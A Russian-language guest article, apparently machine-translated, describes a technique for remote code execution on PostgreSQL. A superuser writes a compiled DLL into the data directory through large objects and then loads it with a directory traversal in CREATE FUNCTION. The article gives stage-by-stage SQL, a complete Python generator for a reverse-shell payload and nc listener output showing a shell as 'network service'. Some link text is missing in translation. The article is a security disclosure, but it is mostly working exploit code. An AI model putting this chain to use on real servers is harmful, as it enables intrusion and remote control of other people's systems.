Гостевая статья SQL-инъекция Double Uppercut :: Как добиться удаленного выполнения кода на PostgreSQL

Когда я исследовал примитивы эксплойта для уязвимостей SQL-инъекций, обнаруженных в , я натолкнулся на общую методику использования уязвимостей SQL-инъекций для базы данных PostgreSQL. При разработке ваших примитивов эксплойтов всегда предпочтительнее использовать технику приложения , которая не зависит от какой-либо другой базовой технологии.


Я делюсь еще одной техникой для достижения удаленного выполнения кода на базе данных PostgreSQL.

Прикладной техникой будет способность поставить под угрозу целостность базы данных и использовать доверие между кодом приложения и базой данных. В случае Cisco DCNM я обнаружил 4 различных метода, о 2 из которых я писал в блоге (перемещение по каталогам и десериализация).

Предыдущие исследования
уже к достижению выполнения кода против PostgreSQL пути (аb) , используя . Недавно Денис Андзакович также свой способ добиться выполнения кода на PostgreSQL, используя (ab) чтение / запись в postgresql.confфайл.

Изначально я собирался использовать эту технику, но, поскольку Денис раскрыл всю силу lo_export для эксплуатации, я подумал, что еще один гвоздь в гроб не повредит ;->

Я провел некоторое тестирование и обнаружил, что Windows NETWORK_SERVICE не может изменить postgresql.conf файл, поэтому метод Дениса специфичен для *nix. Тем не менее, его техника не требует сложенных запросов, что делает его мощнее в определенных контекстах.

CREATE FUNCTION obj_file Обратный путь в каталогах
  • CVE: N / A
  • CVSS: 4.1
Окружающая среда
Этот метод работает как в *nix, так и в Windows, но требует стековых запросов, поскольку мы используем .

Резюме
В последних версиях PostgreSQL superuser больше не разрешается загружать файл общей библиотеки из других источников, кроме C:\Program Files\PostgreSQL\11\libWindows или /var/lib/postgresql/11/lib *nix. Кроме того, этот путь недоступен для записи ни в учетной записи NETWORK_SERVICE, ни в postgres.

Однако аутентифицированная база данных superuser может записывать двоичные файлы в файловую систему, используя «большие объекты», и, конечно, может записывать в C:\Program Files\PostgreSQL\11\data каталог. Причина этого должна быть понятна, для обновления/создания таблиц в базе данных.

Основная проблема заключается в том, что этот CREATE FUNCTION оперативный элемент позволяет осуществлять обратный путь к каталогу данных! Таким образом, злоумышленник, прошедший проверку подлинности, может записать файл общей библиотеки в каталог данных и использовать обход для загрузки общей библиотеки. Это означает, что злоумышленник может получить выполнение собственного кода и, как таковой, выполнить произвольный код.

Поток атаки
Этап 1 - Мы начинаем с создания записи в pg_largeobject таблице.

select lo_import('C:/Windows/win.ini', 1337);

Мы могли бы легко использовать путь UNC здесь (и пропустить шаг 3), но, поскольку мы хотим использовать метод, независимый от платформы, мы избежим этого.

Этап 2 - Теперь мы модифицируем pg_largeobjectзапись, чтобы она содержала полное расширение. Это расширение должно быть скомпилировано с точной основной версией целевой базы данных PostgreSQL, а также с учетом ее архитектуры.

Для файла длиной> 2048 байт в pg_largeobjectтаблице используется pagenoполе. Поэтому мы должны разбить наш файл на куски размером 2048 в байтах.

update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));
...

Возможно, можно пропустить этап 1 (и выполнить только один оператор для этапа 2), используя в PostgreSQL, но у меня не было времени, чтобы это подтвердить.

Этап 3 - Теперь мы можем записать наш двоичный файл в каталог данных. Помните, что здесь мы не можем использовать обходы, поскольку это проверено, но даже если бы мы могли, существуют строгие права доступа к файлу для учетной записи NETWORK_SERVICE, и у нас ограниченные возможности.

select lo_export(1337, 'poc.dll');

Этап 4 - Теперь давайте запустим загрузку библиотеки.

В классе, который я преподавал несколько лет назад, я продемонстрировал, что вы можете использовать фиксированные пути (включая UNC) для загрузки расширений в PostgreSQL версии 9.x, таким образом получая выполнение собственного кода. , используя метод записи файлов с фиксированным путем в файловой системе. Но тогда права доступа к файловой системе не были такими ограничительными.

create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;

Однако прошло несколько лет, и разработчики PostgreSQL решили заблокировать фиксированные пути и, увы, эта техника сейчас мертва. Но мы можем просто перейти из каталога lib и загрузить наше расширение! Базовый код create functionприсоединяет .dllстроку, поэтому не беспокойтесь о ее добавлении:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;

Этап 5 - Запустите вашу обратную оболочку.

select connect_back('192.168.100.54', 1234);

Что нужно учитывать
  • Вы также можете загрузить DllMain, но pwning ваш журнал ошибок является одним из способов обнаружения!
  • Как уже упоминалось, вам нужно будет скомпилировать файл dll / so, используя ту же версию PostgreSQL, включая архитектуру.
  • Вы можете скачать расширение, которое я использовал здесь, но вам нужно будет скомпилировать его самостоятельно.
Забавные факты
Изначально ZDI рассмотрел этот случай, но никогда не публиковал рекомендации, и мне позже сказали, что поставщик не исправляет проблему, поскольку она считается функцией, а не ошибкой .

Автоматизация
Этот код сгенерирует файл poc.sql для запуска в базе данных в качестве суперпользователя. Пример:

Код:
steven@pluto:~/postgres-rce$ ./poc.py
(+) usage ./poc.py <connectback> <port> <dll/so>
(+) eg: ./poc.py 192.168.100.54 1234
steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll
(+) building poc.sql file
(+) run poc.sql in PostgreSQL using the superuser
(+) for a db cleanup only, run the following sql:
    SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
    DROP FUNCTION connect_back(text, integer);
steven@pluto:~/postgres-rce$ nc -lvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 192.168.100.122 49165 received!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\PostgreSQL\12\data>whoami
nt authority\network service

C:\Program Files\PostgreSQL\12\data>

Python:
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
    print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
    print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
    d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
    start = i * 2048
    end   = (i+1) * 2048
    if i == 0:
        sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
    else:
        sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
    end   = (i+1) * 2048
    sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
    sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!